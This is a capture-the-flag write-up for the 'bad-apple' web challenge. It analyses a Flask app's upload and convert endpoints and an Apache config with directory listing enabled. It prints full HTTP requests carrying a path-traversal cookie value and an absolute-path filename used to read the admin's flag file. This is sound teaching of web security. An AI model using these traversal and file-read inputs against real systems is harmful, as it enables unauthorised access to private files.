writeups2026tamu/bad-apple-web.md
2026-04-01 21:47:42 +02:00

7 KiB

bad-apple - web

Information

-rw-rw-r-- 1 w1ntermute w1ntermute  836 Mär 18 22:19 Dockerfile
-rw-rw-r-- 1 w1ntermute w1ntermute  631 Mär 18 22:19 httpd-append.conf
-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*

We can control user_id and filename on all routes.

On /upload we can control user_id to change the directory. filename is cleaned with secure_filename.

Under /convert user_id is cleaned with secure_filename but filename only with safe_name = os.path.splitext(os.path.basename(filename))[0]

Notables

The /convert endpoint seems to construct an input_path variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144). This looks like its later passed to the extract_frames function which uses it to construct a command:

def extract_frames(input_path, output_dir, gif_name):

# ...

    cmd = [
        'ffmpeg', '-i', input_path,
        '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
        '-y', f'{output_dir}/palette.png'
    ]
    subprocess.run(cmd, capture_output=True)

This should grant code execution IF we can get a malicious filename past this check in line 145:

if not os.path.exists(input_path):
        return "File not found", 404

extract_frames

It uses subprocess.run to extract frames via ffmpeg.

    cmd = [
        'ffmpeg', '-i', input_path,
        '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
        '-y', f'{output_dir}/palette.png'
    ]
    subprocess.run(cmd, capture_output=True)

Strategy

With /uploads we can upload a file to every path we want.

So with /uploads we can upload arbitrary files.

POST /upload HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=../static/frames/test/{{7*7}}
Content-Length: 190
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://bad-apple.tamuctf.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://bad-apple.tamuctf.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryeAEo5u9BrAwBXC9D
Content-Disposition: form-data; name="file"; filename="frame_1.png"
Content-Type: image/png

test

------WebKitFormBoundaryeAEo5u9BrAwBXC9D--

And this gets rendered as one frame in the UI.

convert

GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=24720472
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: keep-alive

gives you

HTTP/1.1 302 FOUND
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 21 Mar 2026 15:24:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 279
Connection: keep-alive
Location: /?view=SmallFullColourGIF&user_id=24720472

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?view=SmallFullColourGIF&amp;user_id=24720472">/?view=SmallFullColourGIF&amp;user_id=24720472</a>. If not, click the link.

Endpoints

Per endpoint:

  • input
  • output

/

input

  • user_id
    • not sanitized, set by cookie
  • view_gif = request.args.get('view')
    • not sanitized, set by arg
  • view_user_id = request.args.get('view_user_id', user_id)
    • not sanitized, set by arg

Because of if f.startswith("frame_") and f.endswith(".png") it looks like there is no file inclusion here.

render_template() takes unsaitized user_id as argument. This is reflected in template, but it looks like this is not template injectable.

/upload

inputs

Solution

Over /browse you can see the flag filename. With this, you can call convert.

GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=24720472
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: keep-alive

After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.

This was only possible because, the httpd config enabled directory listing.

<VirtualHost *:80>
    WSGIScriptAlias / /srv/app/wsgi_app.py

    <Directory /srv/app>
        Require all granted
    </Directory>

    Alias /browse /srv/http/uploads
    <Directory /srv/http/uploads>
        Options +Indexes
        DirectoryIndex disabled
        IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
        AllowOverride None
        Require all granted

        <FilesMatch "\.gif$">
            AuthType Basic
            AuthName "Admin Area"
            AuthUserFile /srv/http/.htpasswd
            Require valid-user
        </FilesMatch>
    </Directory>
</VirtualHost>

Important is the Options +Indexes. This enables the index